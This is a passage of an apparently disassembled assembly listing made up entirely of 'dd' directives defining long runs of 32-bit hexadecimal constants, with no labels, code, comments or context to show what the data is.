		dd 0E64084C7h, 0F4870EC1h, 0D06C9433h, 0D49A5A02h, 51CCE10Bh
		dd 0FE288EECh, 20A04D01h, 2631E570h, 2A0BFCh, 63277B03h
		dd 325EBC38h, 61C7B22Eh, 0BD2803Ch, 6ABBB62Fh, 60B894C3h
		dd 86D87A3h, 0B3EBE003h, 7D5E5C71h, 0A0A41818h,	0AA6F70F2h
		dd 4080D8B8h, 0E630B93Ch, 0B385D9AFh, 1808DE0Dh, 0CFA3F90Bh
		dd 3567C0C2h, 0D07CA002h, 11BF71E6h, 0B031FF17h, 60B53069h
		dd 21DC10FAh, 78B03167h, 499A68C1h, 2A0196A9h, 1D6101D3h
		dd 819EF898h, 0C018286Eh, 3940E92Ch, 5BF800BCh,	0DD4DB8B7h
		dd 0F365E021h, 0C4C87B78h, 79102B57h, 2C7A828Ch, 603CEFE8h
		dd 149F80CAh, 0BA16AC20h, 5C40075Eh, 1D600A2Fh,	0E11C095Ah
		dd 0C202D65h, 0C58D77DEh, 0B9116D02h, 5A5195A0h, 5AE3282Ch
		dd 0B0325048h, 28304916h, 64159E89h, 0F592EE6h,	0E82B5260h
		dd 0AE9DF380h, 0B503F77Ch, 0E5512127h, 1B69002h, 0C2EC240Bh
		dd 7CBC1C56h, 1678B370h, 0C4501253h, 0C054C778h, 0E6A29A99h
		dd 0C33841E6h, 5C0A7055h, 447AEDA0h, 0D05AD161h, 2B9174F8h
		dd 7046146h, 0C5547238h, 10C3475h, 5688D308h, 0A65D0801h
		dd 64A22C30h, 0C05CB78h, 0AF8863B6h, 0A08A1029h, 1EE424D2h
		dd 0AE0E30B0h, 34F047D0h, 4C0F211Ah, 0A3301552h, 96213A02h
		dd 999C8843h, 0D24C8108h, 0E1083332h, 7051A15Fh, 10937B1Eh
		dd 829C6F8Eh, 0B04B1EDFh, 0F14F99C4h, 50008C4Dh, 68E266A2h
		dd 19182826h, 12B309B4h, 48B524B6h, 22B791B8h, 9CA9449Ah
		dd 9E129B89h, 0A0489D24h, 0A2229F91h, 89A4D144h, 0E0A613A3h
		dd 3119786h, 0E793C7D5h, 0C1199AD2h, 63B8265Dh,	0B729844Bh
		dd 0AE8A7504h, 761408BAh, 7F0300BCh, 5C4EB22Ah,	0BAE21F30h
		dd 0E451005Fh, 0CBFBCE5Dh, 0A1415E00h, 0B4B87F08h, 0B05C3A3Eh
		dd 0A83C663Ah, 40646E3Ch, 0C2250436h, 5DE5F100h, 0EB01FBD7h
		dd 0BAB4BE5Eh, 48294AEDh, 40FFDAFh, 2325ABFEh, 0B63F14C6h
		dd 0CB13829Fh, 22271971h, 38955D63h, 4384E860h,	0ADCE4429h
		dd 0D346910Ch, 8AB309ACh, 5F041808h, 803E77D5h,	5564D007h
		dd 73E24328h, 0B9383057h, 301ABB21h, 765838A5h,	0AA9F0061h
		dd 0D75F77EFh, 3630A15Bh, 7B871859h, 5EEFAA6h, 6EA5B45Dh
		dd 0DE1C0058h, 2B0592F0h, 7E20770Ah, 574E2823h,	92C1E4A9h
		dd 8C9C26F5h, 312A6641h, 35F0000Bh, 52DCE56Fh, 8C00A45Ah
		dd 10418BC0h, 8213Bh, 0BDA39F36h, 0D50BE3A1h, 20E7E131h
		dd 0C980BA2Fh, 0CC641601h, 7A06A9B8h, 5965D7C8h, 0B65E0030h
		dd 48D3B19Ch, 85003BF5h, 81D02F13h, 764381Eh, 93C4BCC2h
		dd 843410A1h, 3500D7DAh, 0DBE6FAB6h, 30DCE23Bh,	2170DFCDh
		dd 0AE001DA6h, 9672F43Fh, 0E4E83h, 286DB024h, 58ECB829h
		dd 0DB2CA100h, 0A8C2B12Eh, 0EE20392h, 9E7CD9F6h, 5AB0200Ch
		dd 86E19ACh, 0E7FE90E0h, 0E2AB20Fh, 0D9D38232h,	0D421FFB1h
		dd 0D493FC28h, 0C6C0B0B7h, 8E4013B8h, 537F81h, 0B4F876BBh
		dd 2E1E2B8Dh, 360027F0h, 1786B674h, 98A787h, 85539335h
		dd 51566A2Ah, 0B0830A00h, 5F902F96h, 8C08004Dh,	7A1EB784h
		dd 9FA135A4h, 8F63D0B0h, 6A24A607h, 804FC32Eh, 3233A354h
		dd 6B40C07Ch, 3E515D79h, 29AA6F3Ah, 2403403Ch, 0DC7C37h
		dd 84E1E710h, 33B0922Fh, 29304CF1h, 4AA86905h, 1C309338h
		dd 4059A356h, 6E07B735h, 3733A77Dh, 6032A545h, 2A8C8FE1h
		dd 4DC04E2h, 0A493374Bh, 50B58759h, 567F3999h, 320018AEh
		dd 3C98B090h, 2724979h,	1D56B426h, 2CB02E38h, 47E3365Bh
		dd 0D0F840C4h, 4E0A7CE1h, 384AB5B4h, 6247B760h,	157C01E7h
		dd 0A265A92h, 47144A7Bh, 0B62E0040h, 0C262FC7Bh, 7460F84Bh
		dd 7D4D14A4h, 7502F853h, 0BA24F056h, 4689495h, 4B97F0F5h
		dd 84BD5900h, 2A917017h, 0F12E0046h, 4C794D37h,	93266533h
		dd 620434A8h, 0D735ADh,	0F0803847h, 7AD32937h, 989256h
		dd 9FA53DEFh, 538A4E73h, 40634D26h, 2870331Dh, 1379F4B8h
		dd 256236B5h, 7B6C0F20h, 32DC9023h, 3D500864h, 3296748Ch
		dd 2991FC75h, 485B446h,	86BA627Fh, 5A743040h, 63C93405h
		dd 90922431h, 24404CD7h, 0E5837E7h, 8FA32501h, 0B4CB515Fh
		dd 313E89C1h, 0D2F420D0h, 0A314EF0h, 83394092h,	1C9C030h
		dd 6699D97Ah, 0B0274CCEh, 93641008h, 0F36D24FBh, 3B2000B0h
		dd 3734568Fh, 275D871Dh, 0D809B51Eh, 59A0013Ah,	108C7A32h
		dd 34607666h, 6AC8F48h,	4D5DCE65h, 35011888h, 6BD84031h
		dd 1B607D3Ah, 0EF3091F3h, 344ADC81h, 90C92700h,	0A1C76078h
		dd 31C03821h, 0B753C36h, 0B43E2553h, 41F181Ah, 40F82955h
		dd 3B51317Dh, 0D4B9CE78h, 497CFB81h, 6066C924h,	5BCA0076h
		dd 0CE364EA3h, 37492156h, 1870D2B8h, 908A6132h,	1C3B4CF0h
		dd 7A3ACC58h, 93394C00h, 7808D7A7h, 7DF89AF8h, 7C205D2Ch
		dd 37291E3Ch, 0AC4E21Dh, 0C08FE774h, 0EBF895AFh, 824B605h
		dd 16C4817Ch, 3B21F074h, 0C4E49359h, 0CD8A6CEh,	0FC98B060h
		dd 3AAD7C7Eh, 0D8489366h, 0C6288C37h, 0C49A2079h, 3108354Ch
		dd 275609A4h, 0E44AC461h, 3869DC4Ch, 0C8A8C0A0h, 20B86521h
		dd 833C5213h, 6936100Ch
		dd 3A7D7C66h, 562E3D28h, 384B4220h, 3C902C96h, 79C9EFF9h
		dd 34D8A45Dh, 402EF21Fh, 7E09D802h, 0E63CE3A8h,	80FB62B0h
		dd 18922F96h, 8AA55040h, 46A0B752h, 63FCEF04h, 4E99B50Bh
		dd 484645Dh, 0ADA6648Ah, 7C3C39B7h, 0AAF11842h,	5DC86027h
		dd 9364310Bh, 0D85047A7h, 9605B05Ah, 245D8332h,	87A7D880h
		dd 564B838h, 0E2933D4Dh, 0CC405625h, 50A084F8h,	9101E7C9h
		dd 5673CA80h, 20703C36h, 8F310134h, 93C924A5h, 2443C49h
		dd 7D3233A6h, 0E978E4A7h, 0E1C1D468h, 0E47A2F83h, 8F036359h
		dd 7B3B2753h, 5C65C1B0h, 2E328C70h, 0E70A387h, 1BCE84CEh
		dd 9C94908Fh, 65065058h, 204CDC76h, 66EFB01Fh, 8426A4CFh
		dd 50F45A8Fh, 0C1C89625h, 857E12B8h, 87691868h,	803AE0C7h
		dd 0BB343714h, 0EC856E25h, 4250F766h, 5F92F834h, 1190285Ah
		dd 23A78714h, 7A0100F0h, 85E46F1Ah, 5A900138h, 0D9A5C936h
		dd 26218021h, 25537A61h, 0DC830408h, 0E1CE3B4Bh, 0E0D9D230h
		dd 8E7299Eh, 106A3880h,	3979F5Fh, 18345387h, 89FAE87Ch
		dd 60C728D7h, 42900F42h, 52DC011Ch, 0A0683220h,	5DA62F01h
		dd 0D08A0A36h, 744E3C4Dh, 0E071B817h, 0C441852Eh, 18A2E469h
		dd 0CE1F278Ch, 0DC8CF830h, 39354A3Eh, 88C5FC91h, 0DC143836h
		dd 3169068Ch, 7840654Ah, 0A6403C4Ch, 5920813h, 5ECA04h
		dd 0B07A0A80h, 9B67D08Bh, 0F08A3B20h, 3360CE98h, 33A15F7Dh
		dd 280DB4DCh, 18AFCE3Eh, 7932C811h, 5814D844h, 0C4ABC4DCh
		dd 308260B5h, 0CA8C4C90h, 0A402D4D1h, 41923927h, 0F44D0A44h
		dd 0D2936429h, 204283F0h, 9A0E3070h, 0EFDC5CCAh, 4BA48065h
		dd 50A35BC9h, 6BA7F026h, 18978824h, 47FE0F7h, 0C1392E31h
		dd 80CD9Fh, 7C068BB3h, 0EED925Bh, 0F06A93C4h, 1421309Ch
		dd 0BFEC0663h, 0F6ED5400h, 4F1FADDCh, 20330052h, 0DBACD175h
		dd 0CDFC1AB8h, 7C0269C1h, 1CCC8EE9h, 44AA1FF5h,	0C77AFA84h
		dd 6F92C321h, 0BFCE0F20h, 0F97B7C10h, 0C2FEAF00h, 0B8DE6E51h
		dd 728A418h, 7C58E852h,	0F264B82Ch, 0E9888540h,	0EF0C7DE3h
		dd 19FF0F83h, 153D0093h, 8931ADB4h, 50065B4Fh, 0C4176BA8h
		dd 35E107B8h, 101829D2h, 0B8CFB1FCh, 919F5F0Ch,	280C8896h
		dd 384D65Ch, 1BC35641h,	7898D470h, 9B3979BEh, 629E01CFh
		dd 0D7AE46A9h, 5E2E2180h, 9591A8Fh, 6D0820A7h, 294DC07Ah
		dd 0C328595Eh, 0D800D82Ah, 40ACE942h, 66CDCA15h, 21D20939h
		dd 0E91A7800h, 8C06C72Bh, 30A70F44h, 34245D6h, 0A4A0FF2Eh
		dd 9DC439E2h, 0EAEFD01Ch, 4B6B2C00h, 7643551Ah,	6FCF30AEh
		dd 0A96D61B0h, 8E5433FCh, 0D801348Ch, 0EAEEB65Eh, 0A853C53Fh
		dd 37AD8849h, 0EDC204C8h, 104FB5DAh, 24E09E1Ch,	80202AAFh
		dd 0E7A84B5Ch, 0CA03ACD7h, 61864214h, 0C608C9B1h, 41F2599Fh
		dd 52F01C22h, 8D04D0A8h, 5314B14h, 3C85238Ch, 40C1E984h
		dd 25D3626Dh, 5D820083h, 44AC7E07h, 18D51603h, 9BDDD465h
		dd 9ED00411h, 8AAED212h, 69998804h, 87ED8C48h, 6C14F400h
		dd 7C3E2DD4h, 401CAC42h, 30B9A297h, 5B781405h, 0A56AF870h
		dd 9C22E3DEh, 5030FFF2h, 0F01F0669h, 0C0C55C1Bh, 51F87E1Eh
		dd 8909C0Ah, 18280A07h,	0A98FA26h, 0C3CB4FEFh, 468701F8h
		dd 20B3A7E9h, 7C122AB8h, 607247FCh, 0C480DD3h, 0A3498164h
		dd 28D5E27Ch, 0F15AC198h, 18F00D6Bh, 992866F4h,	0B829A8EAh
		dd 0FC080804h, 7A4712B3h, 3E541154h, 0A44BF287h, 0EFFA03BBh
		dd 0F3D903D0h, 0DB14828h, 90F67028h, 0D246FA1Ah, 0CEB98621h
		dd 0F3FB0159h, 0F505329Bh, 905020A8h, 0E37FA71Ah, 0DC0482A0h
		dd 0AF6422CFh, 0C8C3B482h, 88EC7B20h, 8038DF19h, 0B8E1969Ah
		dd 0A0303350h, 4948988Dh, 0B03949FFh, 202804E2h, 7C4CD271h
		dd 9B2E742Fh, 65F00F8h,	0F0725B80h, 68054486h, 2B0D5700h
		dd 889B8236h, 0AC112850h, 0E1913CB0h, 78AAB218h, 0A900CF13h
		dd 0DE924306h, 600A3BBDh, 0AB2B08DFh, 0D200FF12h, 609820DBh
		dd 1F2C6E59h, 0DD1424h,	0B36BAB92h, 0D800F8AAh,	9C1DD53Dh
		dd 39D1817h, 0CD93D9B1h, 48A60409h, 686D5F03h, 887FB6B2h
		dd 0E54F7EDEh, 218029D1h, 696865FDh, 5F004CB3h,	9B963332h
		dd 1897714Dh, 5827C825h, 7401B08Ah, 0ECBA3AE2h,	8987EB31h
		dd 907C0166h, 6EF75B7Dh, 8A8E1300h, 9E3DD990h, 6D4311Dh
		dd 88495940h, 0F332450h, 750F6F05h, 6B103A6Ch, 39D6BB30h
		dd 2AADAB71h, 1840F57h,	0E520C432h, 4CBF3692h, 5B882E94h
		dd 322000C3h, 50F814C5h, 0F00CA7C6h, 0AC611A7Bh, 4C3B00B5h
		dd 222A75EBh, 5DEED679h, 9001FB7Bh, 2598ECDCh, 0E9892F80h
		dd 0CE01593Eh, 87A6FBEDh, 67C79260h, 41C13FB0h,	24E801B0h
		dd 32F9990Eh, 0B28450F1h, 513C9543h, 397F8716h,	61A19641h
		dd 0C830CAD8h, 62B600BFh, 0C5457AC1h, 3803D9A9h, 4F5FAA15h
		dd 8D880139h, 335C25ABh, 56108C42h, 1E30E111h, 803B97C5h
		dd 7174A567h, 0DA1523A4h, 80F4DB93h, 0B778686Bh, 227E434Fh
		dd 63BF012Ah, 9226F85Fh, 817F311Dh, 957DDAF0h, 9080C9DDh
		dd 0E38CD4E8h, 0CF01CAB2h, 0A2E176A3h, 0CC417F66h, 38E16D94h
		dd 0F2ABE850h, 1CF4A589h, 33660578h, 0F28C40DEh, 6AD5D0E2h
		dd 9F2FD406h, 6F08FC93h, 0EA2021E9h, 0C466E4D0h, 19A06A07h
		dd 0E1CD9163h, 686230CAh, 57B6A911h, 0C2802888h, 0EAB25F5Ah
		dd 0C32C00DAh, 581C4CA9h, 7360B6BBh, 0C42592A8h, 9D173EFFh
		dd 725630FCh, 6C275718h, 0BC2F3B28h, 96F2D704h,	50836728h
		dd 9300DC81h, 80661665h, 0D51584AEh, 6D415B8h, 36C01E39h
		dd 0BB573B18h, 3D01B8D8h, 0D93E1C2h, 0EEDC49C9h, 0A7C46831h
		dd 7F6721B6h, 0C4002691h, 34956860h, 99096AA0h,	27A5FBD5h
		dd 0CDA0AC4Ch, 1E71A3ECh, 406C18FDh, 0E153B18Dh, 826176BAh
		dd 0EF3374E0h, 427B850h, 943A00EDh, 96DC2DAFh, 6A0F6EC2h
		dd 0E173134Bh, 5D1E3FC3h, 124C34FCh, 4E4A9B7h, 1D188C18h
		dd 30F37B89h, 275FDA0h,	96172D10h, 2440E7E5h, 3D02EEB3h
		dd 56B060EDh, 9490A01Ah, 98A503h, 26EBE27Dh, 52969EA2h
		dd 2E48F909h, 1D00E19h,	4C9C01Dh, 0F2282433h, 776C0078h
		dd 0A6BCF7C7h, 24023BD3h, 0AFFE1CF6h, 0F2B89854h, 0FD31C19Bh
		dd 0EC52D3D6h, 271E9AEFh, 1D008939h, 936B950Bh,	0AB57125Ah
		dd 0E80458E2h, 0B805F1Ch, 9CC0A82Fh, 0EF720136h, 438C0CE6h
		dd 32F6FC91h, 0EF83B00h, 514EB6E5h, 5DF8CAB9h, 0C2FC648Ch
		dd 0D630AF64h, 92E30820h, 5558BDC6h, 292000CDh,	0D79B221Ah
		dd 0C50EA579h, 3B29EE7h, 0D411248Eh, 0EFC8B08Bh, 0B74498C0h
		dd 0DD81314Eh, 214CA4A8h, 18A8A684h, 7480BC11h,	7B6B368h
		dd 0C027448Ch, 8C686C00h, 2DCAD413h, 0A59613B3h, 1868259Bh
		dd 0DA445820h, 0A412B026h, 8B079F11h, 0B07440A4h, 2A0F1C8Fh
		dd 8EE81BFAh, 0ABDD21C1h, 0F17EA740h, 8CA1F6D0h, 0F8B8AEE3h
		dd 0B6E80331h, 0EF59961Bh, 0C764F870h, 644C8226h, 0B6D4CC0Ch
		dd 0C04116h, 629B0B2Ch,	0E38E11B3h, 0DCB01F28h,	30C97990h
		dd 243830C4h, 0ABDD4027h, 0E6A2EB09h, 3C749494h, 7D2AB8B2h
		dd 4CA02FCh, 0B0AB786Fh, 20C1F8B0h, 0CE92EA10h,	20D9C8E0h
		dd 0AEAA1C01h, 76EB7DF6h, 0F948CA40h, 160F304Eh, 0ACDA7ED8h
		dd 2A478603h, 41275C12h, 30CADC19h, 0A63A6861h,	2C22C6B6h
		dd 0F059C13Eh, 7723DB1Dh, 71BEBB82h, 420EED9h, 91A6B98Dh
		dd 41E490C1h, 0AF02AC98h
		dd 55F27F7Dh, 8D60C035h, 4C1280E1h, 0B2F89354h,	338A0491h
		dd 0A98EA0E2h, 4B7900A8h, 40C0E3h, 0B1EC4183h, 11FB53BAh
		dd 3D57641Ah, 0C8B30A40h, 0B4914A0Ah, 695D424h,	5044C0ECh
		dd 0DC70C32h, 0F31D4EB8h, 9D49E5A9h, 0F6975818h, 1F248C43h
		dd 0B2891DF3h, 0BCEA57h, 1C85802Dh, 99D4C572h, 0B4CC4500h
		dd 7CC1B62Eh, 3E330013h, 8448E756h, 3A2405CEh, 2C110CAh
		dd 710D532h, 0FE3D4B34h, 3C4187CDh, 88A02CD7h, 4CF2AC71h
		dd 0DE8F5C94h, 34237FE1h, 3B0AF053h, 0C664A504h, 2C98E522h
		dd 5C8148D5h, 2798C180h, 94137D28h, 58007A45h, 44A8878Ah
		dd 70A31246h, 9674022Fh, 8481EBD5h, 26F112B1h, 40A80FB8h
		dd 1BAF6468h, 0E9278232h, 9B6740C0h, 0A1A004B7h, 902EF804h
		dd 853D4618h, 6194D103h, 98FEC62Fh, 0B027B9Dh, 7E897F8Ah
		dd 0D8AC1CB1h, 300125C1h, 75B77BEAh, 3047B6h, 0A96F8CF4h
		dd 48A76A70h, 0E8408144h, 5C240B0h, 0AAE5B40Eh,	0AF89C074h
		dd 302353DEh, 0DC298FFBh, 50003586h, 741C5E9h, 34D6B4h
		dd 0CC38748Ah, 0A98CE5EAh, 70590A00h, 0A583877Dh, 80BCB944h
		dd 0BD62022Ah, 609B77E9h, 6D58943Ch, 267638B4h,	0E8C0B460h
		dd 466AD7D0h, 0E722E4h,	32D0F0A1h, 9AF2D437h, 535D907h
		dd 9E4313E1h, 12B9718Ch, 0F31A75Fh, 61896078h, 8ECC8AAh
		dd 0B60289DBh, 0C5E805AEh, 9FA1728h, 0A040E460h, 7217D78Ah
		dd 283A5539h, 23002923h, 4A0B0E16h, 0D8640302h,	0C1D1B97Bh
		dd 905687A0h, 0C7780548h, 1AABF4BAh, 0DAD460B0h, 0D4DB5C88h
		dd 2C0ADE02h, 0DC407182h, 4941494h, 0E5856591h,	0CCF2C2D0h
		dd 9C600451h, 154D0EDh,	0A2962CEh, 284DFCE2h, 0F2CB80B0h
		dd 0C5EC44h, 66E66C39h,	72419B37h, 43881400h, 2598B6FEh
		dd 80166404h, 0DF1CD8A8h, 0BC9C7758h, 96008CE6h, 0A574508Dh
		dd 1A66F71h, 0F7DC89F6h, 70351BB8h, 54BB1290h, 9D009A11h
		dd 710462B3h, 5B00DC4Ah, 0E4505CF8h, 2530D457h,	0F4102642h
		dd 0A4A08DB8h, 0F5124EB9h, 8443C11h, 0DD0116A7h, 29022D54h
		dd 63D099D4h, 0D00AE718h, 0B0FC6AC2h, 3FEFD270h, 9D8015D0h
		dd 0A45DD3E6h, 5C181159h, 0D7681BB3h, 8BD001BCh, 2D760F40h
		dd 4AD42C25h, 4AD5E838h, 377C417Eh, 803CE976h, 0B76A6F31h
		dd 6FBEA2DEh, 0D0183880h, 168018B3h, 0BB4D309Eh, 54442BC8h
		dd 0FA58A3Eh, 5C1F23FFh, 0DA165424h, 108F281Fh,	6CC65C35h
		dd 5C401AFFh, 0B123ACEFh, 0E920C001h, 2518D692h, 0CF4F88h
		dd 5BBA4520h, 338AD904h, 3700F0B1h, 0A2AF36A4h,	0D9808D7h
		dd 0A8162950h, 97B1B00Bh, 2C6BB60h, 1F4C11CFh, 4ED4C43Bh
		dd 0A7984032h, 8AEB4ACh, 8EE88D0Eh, 73B6C405h, 4993F206h
		dd 0E96EDB01h, 0B80B08E7h, 4BE41DE0h, 0FABC4417h, 0A471038Dh
		dd 7072C156h, 0DC225C72h, 75AA4505h, 0D881895Bh, 3301CA95h
		dd 2F2180D6h, 5FA149EAh, 0DE121266h, 4A616FDh, 23877A8h
		dd 720D94E9h, 8AEB1214h, 9894836Ah, 8F5956A8h, 3B457518h
		dd 0E4CE1220h, 6F442628h, 7EFF8170h, 9FF0A282h,	0E82E1830h
		dd 0ED96BA83h, 269004B7h, 80C02A64h, 0D7DF4400h, 4E81790Bh
		dd 0ABACA059h, 29632D8Eh, 0C22019D8h, 0B930C337h, 84B05888h
		dd 8C96BCh, 94F9B34Bh, 0B5E3D1A3h, 587C0A74h, 1DB49813h
		dd 0C2601889h, 303B3054h, 6D911FE8h, 8415A128h,	4AD7B300h
		dd 92B12BA3h, 2412475h,	348252A4h, 147338BCh, 104ACA4h
		dd 0B7019AC0h, 8FF26DC6h, 5F58DBE8h, 8328F41Ah,	9C3AE2C4h
		dd 16830880h, 0AADC8089h, 3BA06E49h, 191E30C1h,	0B96FA86Bh
		dd 0C6B202B4h, 0AC48DF9Bh, 0D8A8E744h, 7CB194EDh, 618EFD9h
		dd 4EB78605h, 0CC42D5B9h, 116355Ch, 0D09F0B80h,	0E0309634h
		dd 182B3811h, 331DFCC5h, 13C83B3Eh, 6C785126h, 7EC465Eh
		dd 0F2089690h, 8080E84Ah, 5752AD3Dh, 8A4009E1h,	2C015DB4h
		dd 3C106Dh, 9ACBBAD5h, 1E113E10h, 610E1C59h, 0D480B083h
		dd 5F94933Dh, 99C1B59h,	2AED9E1Ch, 45BD74A4h, 54325C21h
		dd 0DB485902h, 6050C01Dh, 0D8C191D3h, 0C8409FB2h, 4A262775h
		dd 485258h, 0A9801BFDh,	4B004C3Eh, 9E02B7Eh, 3F34090h
		dd 0BA7FA0BFh, 31001856h, 0DDDF274Bh, 19888F4h,	0B3462B5Fh
		dd 243D9E0Eh, 1E03AD9Ch, 621F243Ch, 60C0503Bh, 89904122h
		dd 6D70FFD1h, 674C6058h, 0A475E056h, 0C1079BFEh, 84D4BC74h
		dd 7F2080ABh, 17698CEAh, 10A14E80h, 2B88B880h, 9820F193h
		dd 2F947Fh, 44E669F5h, 9CD45B48h, 0E4B95D00h, 21DBD78Bh
		dd 27DC4B79h, 4E161150h, 5C20EA91h, 0B3FEFE9h, 90F68AD1h
		dd 489E544Eh, 13200DCh,	755E6264h, 0AC098E25h, 26BC048h
		dd 5B33A798h, 0FD2B8078h, 0F95A9345h, 1FB03654h, 88D9D800h
		dd 0A507BDACh, 0AA0F30D7h, 0C44C53F8h, 6070C026h, 9DA5A31Eh
		dd 812991E8h, 6D354E5Eh, 387CD7E8h, 8AB24788h, 2860F050h
		dd 0E541DE32h, 0FC4F5860h, 704187Fh, 0D815C0BDh, 2C441280h
		dd 8BB034CFh, 0F882BEC5h, 8442AAB8h, 21796471h,	9A078818h
		dd 224EB70h, 0D9D9A3C2h, 18297158h, 105500ACh, 2776F89Bh
		dd 9A261ABDh, 0C60830D4h, 92EF038Ch, 0D0EC3C15h, 0AB1EAEB4h
		dd 0FCBD7380h, 1250057h, 28694D59h, 0F248341Fh,	0C3D98E40h
		dd 0F803BD37h, 0ADDA47h, 0E04650C3h, 2E8A2B52h,	80967D28h
		dd 99C380ECh, 78B110D9h, 49B36008h, 0DBB542Bh, 63989C50h
		dd 106CA425h, 231496E8h, 0FC813513h, 8EA50C7Bh,	0C83CABD9h
		dd 95962C52h, 0B6B60E18h, 6C745E96h, 31131840h,	0F618328Ah
		dd 0D5A00D21h, 34574980h, 2016973Dh, 3A402731h,	6D9285E8h
		dd 93DC9065h, 8D163367h, 0F804F0FEh, 0E0A43954h, 2324359h
		dd 6AC0D0E9h, 10BB31ECh, 0D0F1A0h, 0DB36F6A1h, 5434D791h
		dd 2DF9430Ah, 88169C8Ah, 9A56A04h, 8262D083h, 3897291Dh
		dd 3C81ED11h, 0E1A320D1h, 42C296Ch, 0C8499EB8h,	2CDD84E4h
		dd 0E683C98h, 5F12924h,	8BCA8ACBh, 8975C491h, 0E5788EC2h
		dd 0B8062210h, 1F08407Ah, 954858BDh, 0A7AC54ABh, 5C0A170Eh
		dd 0E0B24A25h, 0F5AEB682h, 77ECC9DEh, 2C486CC1h, 0CBD008E4h
		dd 0EEC4C46Ah, 0D0EC9D40h, 330047CEh, 458FEB04h, 0A1DFBDA5h
		dd 7C76F07Ch, 73403D7Eh, 581687A5h, 40ACCC03h, 38F03223h
		dd 378F0761h, 2CA79D66h, 0EE40D073h, 16E6CE99h,	84010CE0h
		dd 0BAE2AB8Bh, 2465A99Bh, 21B8D878h, 6150008Ch,	1B4AB15Fh
		dd 0AEFC5984h, 34428C4Bh, 581E895Eh, 627C0A28h,	16C44A1Fh
		dd 0F98430ADh, 5E3B2160h, 89A53C2Ah, 1B21CD7h, 735FAACCh
		dd 1F0FA02Ch, 0B681CB6Ah, 0D8259Eh, 57419CAh, 1EB728EDh
		dd 5AF04470h, 0D0E63032h, 0F46A2EC1h, 0EED3707Ch, 2C34D001h
		dd 79A25435h, 38CDC5C0h, 10CD7791h, 23602E5Eh, 44A30322h
		dd 67A8B8A1h, 0BE30BAE0h, 4F93F85Ch, 940214FFh,	712490D0h
		dd 0B2D985A0h, 639C40A6h, 24375412h, 1944F8C9h,	2022330Ch
		dd 7BD46700h, 4CE4404Dh, 12B70200h, 0AA24AD9Ch,	0F9D7B59h
		dd 559BBBB1h, 691F99D8h, 4860C21Eh, 0B35F183Eh,	5AC6BA19h
		dd 26C0016Dh, 2101AA4Ch, 0A2F42370h, 86C1322Dh,	479420D7h
		dd 0F024B556h, 0B0D8BCEFh, 0CB920778h, 83A7182Ah, 504CD7F9h
		dd 115A0908h, 72380243h, 7C0909A8h, 0BAE45CC7h,	0D339AE60h
		dd 56060D16h, 0A05560C2h, 0EAB359D0h, 5C588270h, 0C1ECB816h
		dd 8095B008h, 0DDA052C6h
		dd 0F4013C0Ah, 0C19F7874h, 0B82DF682h, 96268C40h, 84868C18h
		dd 0A9207519h, 78A24D29h, 0CE06613Dh, 70FE34A3h, 0A840D0D8h
		dd 0B2D58001h, 0F1898C9Ch, 8F04A799h, 1B3540A0h, 4831007Dh
		dd 0EF762853h, 6B0C3F7Ah, 3077BD65h, 0B493888Ch, 949B1F02h
		dd 0C4C544C8h, 41D89C70h, 0C80F588Ch, 5F002EF4h, 70278051h
		dd 0A9F59DCh, 9ACA6FF1h, 3B6808BCh, 465CC04Ah, 467900E8h
		dd 93FB8D7Fh, 0CCF13456h, 0F0B221h, 450AF9B7h, 5024F6FDh
		dd 14D10C1Fh, 0A4A7EE82h, 53106204h, 0E268E347h, 72903F72h
		dd 245457BCh, 950FCBD8h, 791FA36h, 0D6A07E39h, 5782383h
		dd 0D8B97DB5h, 0C8008BB0h, 0C727C08Dh, 5315B8B3h, 90EA32h
		dd 8C79011Bh, 0B88E9C20h, 0E6BF4438h, 0E8121DE4h, 0DCC81838h
		dd 0C432490Bh, 94CB037Eh, 6B56DB2Eh, 799F55E8h,	7F962B00h
		dd 7BCF7DF4h, 5B0B1763h, 0F37C04E4h, 0F0B73822h, 0B39CA8BDh
		dd 5697C2Eh, 5E8E136Bh,	4C48A781h, 80BC5014h, 85941A48h
		dd 0C8D5AECCh, 8C4878F3h, 205E5Fh, 1018CC52h, 9627B5FBh
		dd 0DB8C0030h, 279D7404h, 0B401F91Dh, 21CB817Ch, 8082E295h
		dd 5303350h, 66E4FAEh, 19A436CCh, 3ADB280Ch, 4FBB9A80h
		dd 8AF40962h, 10A6C011h, 0D2575Eh, 75DC2894h, 93C154ECh
		dd 34200C5Fh, 52131Ch, 90F30E59h, 0E3AF649Eh, 0F235151Fh
		dd 0FF097642h, 385C401Ch, 7EC9196h, 3C0F4410h, 4B2556F8h
		dd 500C2281h, 10787238h, 88D9A5BAh, 0B9F0808Eh,	96B37B90h
		dd 355C10F6h, 8C82EC30h, 2EE7D00h, 6B86B5E9h, 71BE608Bh
		dd 2F541063h, 2BA02B6Fh, 46B8848Ah, 0C840CA25h,	3C53C0E7h
		dd 0A400AD20h, 0CFC390EEh, 289EBA07h, 25F8E215h, 0D4404D94h
		dd 1301EFB2h, 73E5DF3Ch, 74602A10h, 7B472488h, 0C9FD6214h
		dd 41221002h, 84514548h, 90625794h, 0B1238E00h,	0C4F48205h
		dd 165DEA12h, 6053380Bh, 244EB86Ch, 8E6CE5B1h, 603B2F6Ch
		dd 0EF9DA6E0h, 468D989Eh, 29F03106h, 18B1DFC0h,	0AEBA693Eh
		dd 8B4F171h, 8A36B385h,	1E32A401h, 802D14C8h, 4C738610h
		dd 7A1E6910h, 0AD9B24B0h, 0A7F20988h, 61E0FC93h, 6550B51Dh
		dd 1A24B8C0h, 0D609ACE7h, 0B7C034Ah, 0CE81073Ch, 1443E6h
		dd 0BA35D56Dh, 0A1DB2A04h, 68901E57h, 7CD079A8h, 7796004Ah
		dd 0F206929Dh, 0E7E1721h, 0C0208B97h, 480C12C4h, 0DA4A2836h
		dd 37CCC010h, 2E27F7Dh,	32F1045Fh, 0DC68EC26h, 0F091457Bh
		dd 40A2B192h, 0D307CE2h, 55ED24F6h, 59641894h, 8D5EB97Ch
		dd 2C289808h, 383CDE50h, 27332F8Bh, 13B05A08h, 7E15792Dh
		dd 7FAC00C1h, 0E9A58DE5h, 73889DF2h, 5CB07DE1h,	82101CF9h
		dd 75187CAEh, 59A03789h, 0D45A4C76h, 4640EF10h,	56B705B4h
		dd 78CCD283h, 6B314030h, 7C644EF8h, 54A8F218h, 5CADFE80h
		dd 0B61A9B5Eh, 3D481696h, 6B220FA8h, 90E4A02Bh,	0F1617200h
		dd 0C84F6074h, 248F007Eh, 0E6692568h, 6E793A11h, 7B204492h
		dd 7A93024Bh, 35D938F5h, 33D71C68h, 0F988FC96h,	0F0BC28B4h
